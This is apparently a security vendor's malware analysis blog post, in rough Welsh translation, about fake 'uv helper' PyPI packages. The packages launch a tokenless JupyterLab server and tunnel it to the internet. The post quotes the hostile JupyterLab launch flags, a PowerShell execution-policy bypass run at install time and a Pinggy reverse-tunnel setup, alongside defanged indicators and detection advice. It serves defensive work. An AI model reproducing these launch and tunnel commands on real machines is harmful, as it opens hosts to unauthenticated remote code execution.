FauxUV: Pecynnau PyPI uv Ffug yn Agor Jupyter i'r We

FauxUV: cynorthwywyr uv PyPI ffug sy'n agor gweinydd Jupyter heb ei ddilysu i'r rhyngrwyd

TL; DR

Benthycodd clwstwr o becynnau PyPI yr enw uv, y rheolwr pecynnau Python cyflym, hynod boblogaidd sy'n seiliedig ar Rust, i esgus bod yn gynorthwywyr UV. Prin y maent yn cludo unrhyw ymarferoldeb go iawn. Yr hyn maen nhw'n ei gario yn lle hynny yw llwyth tâl Windows sy'n sefyll i fyny a Gweinydd JupyterLab gyda dilysu wedi'i ddiffodd ac, mewn fersiynau diweddarach, yn ei gyhoeddi i'r rhyngrwyd cyhoeddus trwy dwnnel gwrthdro.

Dyna'r stori gyfan mewn un llinell: enw offeryn dibynadwy fel yr atyniad, a JupyterLab fel yr injan gweithredu cod o bell. Mae gweinydd Jupyter yn rhedeg unrhyw god rydych chi'n ei deipio i mewn i notebook cell; mae un sy'n cael ei lansio gyda thocyn gwag ac sy'n cael ei rwymo i bob rhyngwyneb rhwydwaith yn ddehonglydd agored y gall unrhyw un sy'n gallu cyrraedd y porthladd ei yrru.

Rydym yn olrhain y clwstwr fel FfugUVY ddau becyn a archwiliwyd yw moon-uv (0.0.1 – 0.0.16) a my-magic-uv-helper (0.0.1), wedi'i gyhoeddi gan yr un gweithredwr ac yn fyw ar PyPI ar adeg y dadansoddiad.

ecosystemPyPI
Pecynnaumoon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1)
Platfform wedi'i dargeduffenestri
Ymddygiad craiddGweinydd JupyterLab heb ei ddilysu, wedi'i gyhoeddi i'r rhyngrwyd trwy dwnnel gwrthdro
Offer cyfreithlon wedi'u camddefnyddiouv, JupyterLab, cloudflared, Pinggy

Yr atyniad: enw rydych chi eisoes yn ymddiried ynddo

uv yw un o'r offer Python sydd wedi'i osod fwyaf yn ystod y ddwy flynedd ddiwethaf, felly "cynorthwyydd i uv” yw pecyn y mae datblygwr yn ei osod heb ail feddwl. Mae FauxUV yn treulio ei hygrededd yn gyfan gwbl ar yr enw hwnnw. Mae'r pecynnau'n lapio'r dilys uv gosodwr o Astral — mae'r URLau yn y llwyth tâl yn pwyntio at westeiwyr go iawn, ag enw da — felly mae cipolwg cyflym yn gweld dim byd ond cyfeiriadau dibynadwy. Nid yw'r un o'r pecynnau mewn gwirionedd yn ychwanegu uv ymarferoldeb; yr enw yw'r cuddwisg gyfan.

JupyterLab fel yr injan RCE

Canolbwynt y llwyth tâl yw lansiwr sy'n cychwyn JupyterLab gyda phob rheilen warchod wedi'i thynnu:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Mae pob baner yn tynnu amddiffyniad i ffwrdd, ac mae'r sgript a gludwyd hyd yn oed yn eu hanodi (yn y Tsieinëeg wreiddiol): y tocyn gwag “yn diffodd gwiriadau cyfrinair a thocynnau — gall unrhyw un gysylltu.” labordy jupyter yn IDE gwyddor data cyfreithlon, ond nidebook Mae cell yn gweithredu cod mympwyol trwy ddyluniad. Wedi'i ffurfweddu fel hyn ac wedi'i rwymo i 0.0.0.0, mae'n peidio â bod yn IDE ac yn dod yn gragen bell heb ei dilysu ar y gwesteiwr — nid oes angen deuaidd meddalwedd faleisus personol, dim ond offeryn prif ffrwd sy'n anelu at y cyfeiriad anghywir.

Mae dau ddarn cefnogol yn gwneud hynny'n gyraeddadwy ac yn ailadroddadwy:

  • Sbardun gosod tawel. Mae fersiynau cynnar yn rhedeg PowerShell gyda -Osgoi Polisi Gweithredu yn syth o setup.py on gosod pip, yn y cefndir gyda gwallau wedi'u hatal felly pip yn edrych yn normal. Mae fersiynau diweddarach yn symud yr un peth cyntefig i mewn i pip-uv offeryn llinell orchymyn — a gollwng y rhedeg awtomatig amser gosod yn gyfan gwbl.
  • Twnnel gwrthdro cyhoeddus. Gweinydd ymlaen 0.0.0.0 dim ond gwesteiwyr sy'n gallu llwybro i'r peiriant sy'n dal i allu cyrraedd y nod. Mae modiwl bwndelu yn agor [Pinggy](https://pinggy.io/) Twnnel gwrthdro SSH sy'n anfon y porthladd Jupyter lleol ymlaen i gyfeiriad cyhoeddus, gan ddileu'r terfyn hwnnw. Mae'r sgript a anfonwyd hefyd yn cario llwybr amgen - wedi'i dynnu allan o sylwadau - gan ddefnyddio Cloudflare cwmwl-fflach a netsh porthladd-dirprwy i IP Linode, gan ddogfennu'r un nod trwy seilwaith gwahanol.

Rhoi at ei gilydd: gosodwch y pecyn, ac mae gwesteiwr Windows yn rhedeg JupyterLab di-gyfrinair ac yn ei gyhoeddi ar y rhyngrwyd agored.

Sut esblygodd FauxUV

Cafodd fersiynau FauxUV eu hanfon yn gyflym ar ôl ei gilydd, a symudodd pwynt sbarduno'r llwyth tâl ar eu traws - atgof nad yw un fersiwn â baner yn aml yn adrodd stori gyfan llinell becyn.

Cam fersiynau sbardun Beth mae'n ei ychwanegu
Gosod-bachyn moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py ar osod pip gosod uv + rhagosod LLWYBR
Amser rhedeg CLI moon-uv 0.0.5-0.0.13 pip-uv gorchymyn lansiwr JupyterLab di-gyfrinair
Twnnel moon-uv 0.0.14-0.0.16 pip-uv gorchymyn twnnel gwrthdro Pinggy gweithredol

Yn nodedig, roedd y rhedeg awtomatig amser gosod yn tynnu yn y fersiynau diweddarach, mwy galluog — felly sganiwr wedi'i allweddu ar gylchred bywyd yn unig hooks byddai'n sgorio'r datganiadau newydd fel llai peryglus, yn union yn ôl.

Dangosyddion cyfaddawd

Cadarnhawyd drwy ddarllen ffynhonnell y pecyn; pwyntiau terfyn wedi'u marcio Dywedodd yn bresennol yn y ffeiliau ond heb eu gweithredu gan y fersiwn a ddadansoddwyd. Mae dangosyddion rhwydwaith wedi'u dad-ffagio.

math Dangosydd
Gorchymyn gosod powershell -ExecutionPolicy Bypass yn nôl y gosodwr uv dilys, ar amser gosod pip
Baneri JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Twnnel gwrthdro (actif) free[.]pinggy[.]io:443 anfon ymlaen lleol 127.0.0.1:8888
Gwesteiwr twnnel (wedi'i sylwadau) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (wedi'i sylwadau) 45[.]79[.]134[.]161 (Linode) drwy netsh port-proxy
Dyfalbarhad yn rhagflaenu %USERPROFILE%\.local\bin i'r defnyddiwr PATH

Signalau ymddygiadol sy'n werth rhybuddio amdanynt, yn annibynnol ar y llinynnau union hyn: a gosod pip sy'n silio powershell - Osgoi Polisi Gweithreduunrhyw Jupiter lansio cyfuno tocyn = "" gyda –ip=0.0.0.0; ac SSH allanol i *.pinggy.io gan ddatblygwr neu beiriant CI.

Ymddygiad a arsylwyd a tharddiad

Mae'r ddau becyn yn rhannu awdur a dull: enw offeryn dibynadwy, gatio Windows yn unig, gweithredu cefndirol sy'n atal gwallau, a dibyniaeth ar offer ag enw da felly dim ond URLau ag enw da y mae cipolwg cyflym yn eu gweld. Mae'r ffynhonnell yn cynnwys sylwadau yn yr iaith Tsieinëeg sy'n disgrifio'r baneri sy'n berthnasol i ddiogelwch yn glir; rydym yn adrodd y rheini fel datganiadau arsylladwy yn y ffeil, nid fel honiad am gymhelliad. Y caniatáu_tarddiad gwerth a colab.bat Mae enw'r ffeil yn adleisio'r llif gwaith anffurfiol "rhannu fy amser rhedeg lleol" sy'n cylchredeg ar gyfer Google Colab. Beth bynnag fo'r tarddiad, mae'r canlyniad wedi'i becynnu yr un peth.

Effaith ac arweiniad i amddiffynwyr

Pwy sy'n agored i FauxUV. Datblygwyr Windows a rhedwyr CI hynny gosod pip un o'r pecynnau hyn. JupyterLab di-gyfrinair ar 0.0.0.0 yn gweithredu cod o bell i unrhyw un sy'n gallu cyrraedd y porthladd; mae'r twnnel yn dileu'r terfyn "pwy all ei gyrraedd". Mae'r gweinydd yn rhedeg fel y defnyddiwr sy'n gosod, gan etifeddu ffeiliau, tocynnau a manylion mewngofnodi cwmwl y defnyddiwr hwnnw.

Pam ei bod hi'n hawdd ei golli. Mae pob llinyn rhwydwaith yn pwyntio at westeiwr ag enw da — Astral, JupyterLab, cwmwl-fflach, Pinggy, Colab. Nid oes deuaidd meddalwedd faleisus i'w hasio a dim blob wedi'i gymysgu i'w ddadgodio. Mae sganio yn seiliedig ar enw da a llofnod yn tanbwyso hyn, a dyna pam y cwestiwn ymddygiadol — beth mae gosod y pecyn hwn yn ei wneud i'r peiriant — yw'r un sy'n ei ddal.

Canllawiau:

  • Trin unrhyw amser gosod powershell - Osgoi Polisi Gweithredu fel signal torri adeiladwaith, pa URL bynnag y mae'n ei nôl.
  • Rhybudd ymlaen Jupiter wedi'i lansio gyda thocyn gwag a –ip=0.0.0.0ni ddylai'r cyfuniad hwnnw byth ymddangos ar orsaf waith na rhedwr.
  • Monitro am SSH allanol i ddarparwyr twneli (*.pinggy.io, *.trycloudflare.com) o amgylcheddau datblygwyr a CI.
  • Gosod uv o [ei ffynhonnell swyddogol](https://docs.astral.sh/uv/) a bod yn amheus o becynnau "cynorthwyol" trydydd parti sy'n lapio offeryn sydd eisoes yn ddibwys i'w osod.
  • Pinio ac ail-adolygu dibyniaethau wrth uwchraddio — gall llinell becyn dyfu gallu newydd fersiwn dros fersiwn.
offer-sca-meddalwedd-offer-dadansoddi-cyfansoddiad
Blaenoriaethu, cywiro a diogelu eich risgiau meddalwedd
Cael eich Cyfrif Am Ddim.
Nid oes angen cerdyn credyd.

Sicrhau eich Datblygiad a Chyflwyniad Meddalwedd

gyda Phecyn Cynnyrch Xygeni